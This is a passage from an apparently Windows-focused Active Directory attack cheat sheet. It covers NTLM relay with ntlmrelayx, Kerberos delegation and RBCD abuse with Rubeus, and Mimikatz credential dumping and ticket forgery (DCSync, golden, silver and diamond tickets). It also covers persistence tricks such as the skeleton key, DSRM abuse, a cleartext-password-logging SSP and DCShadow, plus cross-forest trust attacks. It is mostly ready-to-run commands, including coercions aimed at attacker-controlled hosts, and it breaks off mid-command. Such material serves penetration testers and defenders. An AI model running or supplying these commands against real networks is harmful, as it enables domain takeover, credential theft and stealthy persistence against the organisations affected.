NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used. Multiple targets can be specified with -tf list.txt. Enumeration #With attempt to dump possible GMSA and LAPS passwords, and ADCS templates ntlmrelayx.py ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl SOCKS ntlmrelayx.py -t smb://target -socks ntlmrelayx.py -t mssql://target -socks ntlmrelayx.py -t ldaps://target -socks Creds dump ntlmrelayx.py smb://target DCSync if the target in vulnerable to Zerologon ntlmrelayx.py dcsync://dc Privesc Add an user to Enterprise Admins. ntlmrelayx.py ldap://dc --escalate-user user1 --no-dump Kerberos Delegation Kerberos RBCD are detailled in the following section. #Create a new computer account through LDAPS and enabled RBCD ntlmrelayx.py ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS and enabled RBCD ntlmrelayx.py ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Doesn't create a new computer account and use an existing one ntlmrelayx.py ldap://dc_IP --escalate-user --delegate-access --no-dump --no-da --no-acl Shadow Credentials ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$' From a mitm6 authent #Attempts to open a socks and write loot likes dumps into a file ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks Targeting GPO This attack is presented in the Active Directory - Python edition cheatsheet. Relay to WinRMs If NTLMv1 is enabled on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this PR. #Perform the relay ntlmrelayx -t winrms://target.domain.local -smb2support #Use the opened WinRMs shell nc 127.0.0.1 11000 CVE-2025-33073 - NTLM Reflective relay ADCS ESC8 & 11 SCCM primary site takeover krbrelayx All the attacks related to Kerberos relay are presented in the Active Directory - Python edition cheatsheet. krbjack A tool (https://github.com/almandin/krbjack) to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them. This attack is presented in the Active Directory - Python edition cheatsheet. Kerberos Delegations Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal. There are two main types of delegation: Unconstrained Delegation: the first hop server can request access to any service on any computer Constrained Delegation: the first hop server has a list of service it can request Unconstrained delegation Compromised machine in Unconstrained Delegation Enumerate computers with Unconstrained Delegation Get-NetComputer -UnConstrained #With AD Module Get-ADComputer -Filter {TrustedForDelegation -eq $True} Get-ADUser -Filter {TrustedForDelegation -eq $True} Get admin ticket After compromising the computer with UD enabled, we can trick or wait for an admin connection #Check if a ticket is available Invoke-Mimikatz -Command '"sekurlsa::tickets"' #If yes Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' Reuse the ticket Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"' Printer bug / PetitPotam To force another computer to connect to the compromised machine in UD, and capture the TGT by monitoring: .\Rubeus.exe monitor /interval:5 /nowrap On the attacker machine run : #PrinterBug .\MS-RPRN.exe \\.domain.local \\unconstrainedMachine.domain.local #PetitPotam .\PetitPotam.exe attacker_ip .domain.local .\Rubeus.exe ptt /ticket:... #DCSync with the dc TGT Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' Any principal in Unconstrained Delegation If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion. Add a new DNS record on the domain that point to our IP Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool krbrelayx.py to extract the TGT from the ST) Trigger the authentication and grab the ST (and TGT in it) on krbrelayx that is listenning for it Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT. #Add the SPN with the Microsoft module Set-ADUser -Identity -ServicePrincipalName @{Add='HOST/test.domain.local'} #Create the DNS record Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData -Realm domain.local #Run krbrelayx with the hash of the password setup on the UD user python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local #Trigger the coercion .\PetitPotam.exe Constrained delegation In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS. To impersonate the user, Service for User (S4U) extension is used which provides two extensions: Service for User to Self (S4U2self) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION – T2A4D UserAccountControl attribute. Service for User to Proxy (S4U2proxy) - Allows a service to obtain a ST to a second service on behalf of a user. Enumerate principals with CD enabled #Powerview Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth #AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo With protocol transition Any service can be specified on the target since it is not correctly checked. All the Rubeus commands can be performed with kekeo aswell. Request a ticket for multiple services on the target, for another user (S4U) .\Rubeus.exe s4u /user:user1 /rc4: /impersonateuser:Administrator /msdsspn:"time/.domain.local" /altservice:ldap,cifs /ptt If we have a session as the user, we can just run .\Rubeus.exe tgtdeleg /nowrap to get the TGT in Base64, then run: .\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator /domain:domain.local /msdsspn:"time/.domain.local" /altservice:ldap,cifs /ptt Inject the ticket Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"' Without protocol transition In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section. Resource-based constrained delegation Wagging the Dog With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario). Requirements The DC has to be at least a Windows Server 2012 Domain users can create some machines, ms-ds-machineaccountquota must not being to 0 #To verify Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local Write rights on the target machine (GenericAll, GenericWrite, AllExtendedRights) Target computer, object must not have the attribute msds-allowedtoactonbehalfofotheridentity set Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity Standard RBCD The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB. #Add RBCD from ServiceA to ServiceB Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$ #Verify property Get-NetComputer ServiceB | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity #Get ServiceA TGT and then S4U rubeus -x tgtdeleg /nowrap rubeus -x s4u /user:ServiceA$ /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:host/ServiceB.domain.local /domain:domain.local /altservice:cifs,host,http,winrm,RPCSS,wsman /ptt With machine account creation Add a fake machine account in the domain Add it the to msds-allowedtoactonbehalfofotheridentity attribute of the target machine Import-Module Powermad.ps1 Import-Module PowerView.ps1 #Creds if needed, to run as another user $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('domain.local\user1', $SecPassword) #Check requirements Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local -Credential $Cred Get-NetComputer -Domain domain.local | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity #Add the fake machine as a ressource + get its SID New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain domain.local -DomainController DC.domain.local Get-DomainComputer FAKE01 -Domain domain.local -Credential $Cred $ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsid #Create the new raw security descriptor $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) #Add the new raw SD to msds-allowedtoactonbehalfofotheridentity Get-DomainComputer -SearchBase "LDAP://DC=domain,DC=local" -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=domain,DC=local" -Verbose -Credential $Cred #Check if well added $RawBytes = Get-DomainComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' -Credential $Cred -SearchBase "LDAP://DC=domain,DC=local" | select -expand msds-allowedtoactonbehalfofotheridentity (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not protected) Use the S4UProxy function to obtain a ST for the impersonated user for the wanted service on the target machine #Calcul hash .\Rubeus.exe hash /password:Password123! /user:FAKE01$ /domain:domain.local #S4U attack .\Rubeus.exe s4u /user:FAKE01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:cifs/ /domain:domain.local /ptt /dc:DC.domain.local Skip S4USelf Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B By social engineering or any other solution, an interesting victim authenticates to Service A with a ST Attacker dumps the ST on Service A (sekurlsa::tickets) Attacker configures RBCD from Service A to Service B as above Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence .\Rubeus.exe s4u /user:ServiceA$ /aes256: /tgs:"/path/to/kirbi" /msdsspn:cifs/serviceB.domain.local /domain:domain.local /ptt /dc:DC.domain.local Reflective RBCD With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, a run a full S4U to access the machine on behalf of another user. Set-ADComputer ServiceA -PrincipalsAllowedToDelegateToAccount ServiceA$ .\Rubeus.exe s4u /user:ServiceA$ /aes256: /impersonateuser:Administrator /msdsspn:cifs/serviceA.domain.local /domain:domain.local /ptt /dc:DC.domain.local Impersonate protected user via S4USelf request It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation). With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC). .\Rubeus.exe s4u /self /impersonateuser:Administrator /ticket:doIFFz[...SNIP...]TE9DQUw= /domain:domain.local /altservice:cifs/server.domain.local /ptt Bypass Constrained Delegation restrictions with RBCD Attacker compromises ServiceA and ServiceB ServiceB is allowed to delegate to time/ServiceC (the target) without protocol transition (no S4USelf) Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to time/ServiceC Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to cifs/ServiceC #RBCD from A to B Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$ .\Rubeus.exe s4u /user:ServiceA$ /aes256: /impersonateuser:Administrator /msdsspn:cifs/serviceB.domain.local /domain:domain.local /dc:DC.domain.local #S4UProxy from B to C with the obtained ST as evidence .\Rubeus.exe s4u /user:ServiceB$ /aes256: /tgs: /msdsspn:time/serviceC.contoso.local /altservice:cifs /domain:domain.local /dc:DC.domain.local /ptt U2U RBCD with SPN-less accounts In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here. You can follow the example in this PR. Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...) Obtain a TGT for the user via pass-the-hash: .\Rubeus.exe asktgt /user:user1 /rc4: /nowrap Request a Service Ticket via U2U (S4USelf request) with the previous TGT specified in /tgs: (additional ticket added to the request body identifying the target user account) and /ticket: (authentication). If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. The account to impersonate via the futur S4U request is also present: .\Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /targetuser:Administrator /nowrap Retrieve the TGT session key in HEX format: import binascii, base64 print(binascii.hexlify(base64.b64decode("")).decode()) Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy is encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack). Everything is explained here. smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'Password123!'@'DC' Realize the S4UProxy request with the previous S4USelf U2U ticket (ciphered with the session key) as additional ticket and the original TGT as ticket: .\Rubeus.exe s4u /msdsspn:cifs/target.domain.local /ticket:TGT.kirbi /tgs:U2U.kirbi Finally, use this ticket to do whatever you want RBCD from MSSQL server If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80): Create a DNS record in order to be able to leak the NTLM hash externally Use the xp_dirtree (or xp_fileexist) function to the created DNS record on @80. This will force the authentication and leak the hash Relay the machine hash to the LDAP server to add a controlled account (with a SPN for the further S4USelf request) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the target machine Now we can ask a ST for a user we want to impersonate for a service on the machine #Add the DNS Invoke-DNSUpdate -DNSType A -DNSName attacker.domain.local -DNSData -Realm domain.local #On our machine, waiting for the leak #https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c python rbcd_relay.py 192.168.24.10 domain.local 'target$' #ON the MSSQL server SQLCMD -S -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin #After the attack, ask for a ST with full S4U .\Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:cifs/ /domain:domain.local /dc:DC.domain.local /ptt Domain Persistence Diamond ticket Blog here .\Rubeus.exe diamond /krbkey: /user:user1 /password:password /enctype:aes /domain:domain.local /dc:dc.domain.local /ticketuser:Administrator /ticketuserid: /groups:512 /nowrap For better opsec, the Shapphire Ticket presented in the Active Directory - Python edition cheatsheet can be used. Golden ticket Retrieve the krbtgt hash From the DC by dumping LSA Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc With a DCSync Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' Create TGT Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /krbtgt: /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' RODC Golden Ticket In case of a RODC, it is still possible to forge a Golden Ticket but the KRBTGT's version number is needed and only the accounts allowed to authenticate can be specified in the ticket (according to the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup lists). .\Rubeus.exe golden /rodcNumber: /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256: /user:user1 /id: /domain:domain.local /sid: Silver ticket Create ST /rc4 take the service account (generally the machine account) hash. /aes128 or /aes256 can be used for AES keys. Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /target:.domain.local /service:CIFS /rc4: /ptt"' Requesting a ST with a valid TGT can be performed with Rubeus like this: .\Rubeus.exe asktgs /ticket:tgt.kirbi /service:LDAP/dc.domain.local,cifs/dc.domain.local /ptt Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent): .\Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/target.domain.local" /ticket:"" /nowrap GoldenGMSA With the KDS root key and some information about the gMSA account (that can be retrieved with low privileges), it is possible to compute the gMSA's password. Dump the KDS root key This operation needs admin privs on the domain #For the root domain of the forest ./GoldenGMSA.exe kdsinfo #For a specific domain ./GoldenGMSA.exe kdsinfo --forest domain.local Retrieve gMSA's information Low privs are sufficient here #All the gMSA accounts ./GoldenGMSA.exe gmsainfo #A specific one in a specific domain ./GoldenGMSA.exe gmsainfo --sid --domain domain.local Compute the password This operation can be realized offline ./GoldenGMSA.exe compute --sid --kdskey --pwdid The output is in Base64 and the password is generally not readable. It is possible to calcul the NT hash from it instead: import base64 import hashlib b64 = "" print(hashlib.new("md4", base64.b64decode(b64)).hexdigest()) GoldenDMSA This technique is very similar to GoldenGMSA, but targets new DMSA accounts in Windows Server 2025. First, extract the Root Key: ./GoldenDMSA.exe kds [--domain child.domain.local] #For a child domain Then, enumerate the DMSA accounts: # From the root domain ./GoldenDMSA.exe info -d domain.local -m ldap # From a child domain ./GoldenDMSA.exe info -u user1 -p password -o child.domain.local -d domain.local -m ldap Generate a ManagedPasswordId wordlist: GoldenDMSA.exe wordlist -s -d -f domain.local -k And finally, bruteforce the ManagedPasswordId from the values found previously: GoldenDMSA.exe bruteforce -s -u -k -i -d Skeleton key Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local Now, it is possible to access any machine with a valid username and password as "mimikatz". Enter-PSSession -Computername dc -Credential domain\Administrator DSRM DSRM is Directory Services Restore Mode The local administrator on every DC can authenticate with the DSRM password It is possible to pass the hash of this user to access the DC after modifying the DC configuration Dump DSRM password Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc Change registry configuration Need to change the logon behavior before pass the hash Enter-PSSession -Computername dc New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD Now the DSRM hash ca be used to authenticate Custom SSP SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine. By patching LSASS (really instable since Server 2016) Invoke-Mimikatz -Command '"misc::memssp"' By modifying the LSA registry Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages : $packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages' $packages += "mimilib" Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages All local logons on the DC are logged to C:\Windows\system32\kiwissp.log DACLs - AdminSDHolder AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour. Attack With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example. When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins. #PowerView Add-ObjectAcl -TargetSearchBase 'CN=AdminSDHolder,CN=System' -PrincipalIdentity user1 -Rights All -Verbose #AD Module Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal user1 -Verbose Run SDProp manually Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose #Pre-Server 2008 Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose Check Domain Admins DACLs #PowerView Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'} #AD Module (Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?{$_.IdentityReference -match 'user1'} DACLs - Interesting rights The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section. Multiple rights like All, DCSync, etc, are possible. DACLs - Security Decriptors ACLs can be modified to allow users to access objects. WMI #On local machine Set-RemoteWMI -UserName user1 -Verbose #On remote machine without explicit credentials Set-RemoteWMI -UserName user1 -ComputerName -namespace 'root\cimv2' -Verbose #On remote machine with explicit credentials. Only root\cimv2 and nested namespaces Set-RemoteWMI -UserName user1 -ComputerName -Credential Administrator -namespace 'root\cimv2' -Verbose #On remote machine remove permissions Set-RemoteWMI -UserName user1 -ComputerName -namespace 'root\cimv2' -Remove -Verbose PowerShell Remoting #On local machine Set-RemotePSRemoting -UserName user1 -Verbose #On remote machine without credentials Set-RemotePSRemoting -UserName user1 -ComputerName -Verbose #On remote machine, remove the permissions Set-RemotePSRemoting -UserName user1 -ComputerName -Remove Remote Registry With the scripts from DAMP-master. Permits to realize some actions like credentials dump via the registry. Cross-Trust Movement Child to parent domain Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field. With the trust key Get the trust key, look at the [in] value in the result Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc #OR Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"' Forge the referral ticket : Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /sids:- /rc4: /service:krbtgt /target:parentDomain.local /ticket:trust.kirbi"' Request a ST with the previous TGT and access service : #New tools for more fun .\asktgs.exe trust.kirbi CIFS/dc.parentDomain.local .\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi ls \\dc.parentDomain.local\c$ #Or classicaly .\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.parentDomain.local /dc:dc.parentDomain.local /ptt ls \\dc.parentDomain.local\c$ With the krbtgt hash Exactly the same attack, but with the krbtgt hash that can be extracted like this : Invoke-Mimikatz -Command '"lsadump::lsa /patch"' To avoid some suspicious logs, use multiple values can be added in SID History : Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:domain.local /sid: /groups:516 /sids:-516,S-1-5-9 /krbtgt: /ptt"' Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator /domain:parentDomain.local"' -516 – Domain Controllers S-1-5-9 – Enterprise Domain Controllers Across forest SID History attacks If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an RID > 1000 must be indicated. Get the Trust Key Invoke-Mimikatz -Command '"lsadump::trust /patch"' #Or Invoke-Mimikatz -Command '"lsadump::lsa /patch"' If no filtering : forge a referral ticket or an inter-realm Golden Ticket and request for a ST #Referral ticket with the Trust Key Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /sids:- /rc4: /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"' #Inter-realm Golden Ticket with krbtgt, with pass-the-ticket Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /sids:- /krbtgt: /ptt"' #For a specific user different than the Administrator (not RID 500) Invoke-Mimikatz -Command '"kerberos::golden /user:user1 /domain:domain.local /sid: /id: /rc4: /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"' ./Rubeus.exe asktgs /ticket:trust_forest.kirbi /service:cifs/dc.targetDomain.local /dc:dc.targetDomain.local /ptt If there is SID filtering, same thing as above but with RID > 1000 (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the foreignSecurityPrincipal. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups: #These SIDs are members of the target domain Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match "foreignSecurityPrincipal"} #The found SIDs can be search in the current forest Get-DomainObject |? {$_.objectSid -match ""} Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges. TGT delegation By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications). If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained Delegation. Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust is needed. How to exploit an Unconstrained Delegation. Account Operators Replicating Trust Attack (AORTA) Everything is explained here. The first step is to set up a Windows Server VM on our machine and promote it to a domain controller for its own forest (e.g. attacker.local). On this VM, we need to create a DNS Conditional Forwarder to be able to resolve the other forest through the trust: Add-DnsServerConditionalForwarderZone -Name -MasterServers On our DC as Administrator, we create an outgoing approval relationship to the target forest: Open Active Directory Domains and Trusts as Administrator on attackerdc Right-click on "attacker.local", and click on "Properties" Go to the "Trusts" tab, and click "New Trusts…" Click "Next", type $TARGET_FOREST_FQDN and click "Next" Select "Forest trust" and click "Next" Select "One-way outgoing" and click "Next" Select "This domain only" and click "Next" Select "Forest-wide authentication" and click "Next" Enter the trust password "$TRUST_PASS" twice and click "Next" Click "Next", then "Next", then "Yes, confirm the outgoing trust", and "Next" Click Finish The next step is to log in as an Account Operator for the target domain on the DC you just created, and add yourself to the Incoming Forest Trust Builders and DnsAdmins groups in the target AD: runas /netonly /user:@ powershell Add-ADGroupMember -Identity "Incoming Forest Trust Builders" -Members -Server Add-ADGroupMember -Identity "DnsAdmins" -Members -Server klist purge Once in these groups, you can create an inbound trust, with TGT delegation enabled, on the target forest. This completes the trust relationship from the attacking forest to the target forest. Enabling TGT delegation requires the TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag, which is no longer accessible by default. The Trustify tool allows you to automate everything. Still as the operator account added to both groups: Trustify.exe create Get-ADTrust -Server As the operator account, create a DNS Conditional Forwarder on the target forest, pointing to the attacking forest: Add-DnsServerConditionalForwarderZone -Name -MasterServers -ComputerName From there, everything is ready for coercion. In this scenario, there is no need for two-way approval since we will authenticate on the target DC with an account from its forest. We just need approval in the "attacker -> target" direction so that the target DC can come to the "attacker". We can now coerce the target DC towards our DC and perform a Unconstrained Delegation. Transit across non-transitive trusts If a non-transitive trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on External Trusts for example. However, there is a way to make non-transitive trusts transitive. Full explains here. For this example, there is an External Trust between domains A and B (which are in different forests), there is a Within Forest trust between domains B and C (which are in the same forest), and a Parent-child trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since External Trusts are non-transitive. First, obtain a TGT for userA in his domain A ./Rubeus.exe asktgt /user:userA /password:password /nowrap Then, request a referral for the domain B with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in domain B as userA ./Rubeus.exe asktgs /service:krbtgt/domainB.local /ticket: /dc:dc.domainA.local /nowrap With this referral, it is not possible to request for a ST in domain C since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B ./Rubeus.exe asktgs /service:krbtgt/domainB.local /targetdomain:domainB.local /ticket: /dc:dc.domainB.local /nowrap Now, this TGT can be reused to ask for a referral to access domain C, still from domain A with user A ./Rubeus.exe asktgs /service:krbtgt/domainC.local /targetdomain:domainB.local /ticket: /dc:dc.domainB.local /nowrap This referral for domain C can be, in turn, used to access domain D with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest. However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with domain D. For example, if domain D has an External Trust with domain E in a third forest, it will be not possible to access domain E from A. A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E. ./Rubeus.exe asktgs /service:ldap/domainD.local /ticket: /dc:dc.domainD.local /ptt New-MachineAccount -MachineAccount machineDomainD -Domain domainD.local -DomainController dc.domainD.local #Then, ask for a TGT and replay the attack against domain E Across forest - PAM trust The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high priv group. Check if the current forest is a bastion forest Enumerate trust properties Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} Enumerate shadow security principals Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) | select Name,member,msDS-ShadowPrincipalSid | fl Name - Name of the shadow principal member - Members from the bastion forest which are mapped to the shadow principal msDS-ShadowPrincipalSid - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering is disabled in a PAM Trust. Check if the current forest is managed by a bastion forest Get-ADTrust -Filter {(ForestTransitive -eq $True)} A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008). SCCM Hierarchy takeover In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a Central Administration Site to administrate all the sites from one "top" site server. If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites. Full explains here. MSSQL server Everything is here. (Not for the moment, refactor in progress) Forest Persistence - DCShadow DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller The compromised machine must be in the root domain on the forest, and the command must be executed as DA (or similar) The attack needs 2 instances on the compromised machine and Mimikatz. One to start RPC servers with SYSTEM privileges and specify attributes to be modified #With Mimikatz #Set SYSTEM privs to the process !+ !processtoken #Launch the server lsadump::dcshadow /object: /attribute: /value= And second with enough privileges (DA or otherwise) to push the values : sekurlsa::pth 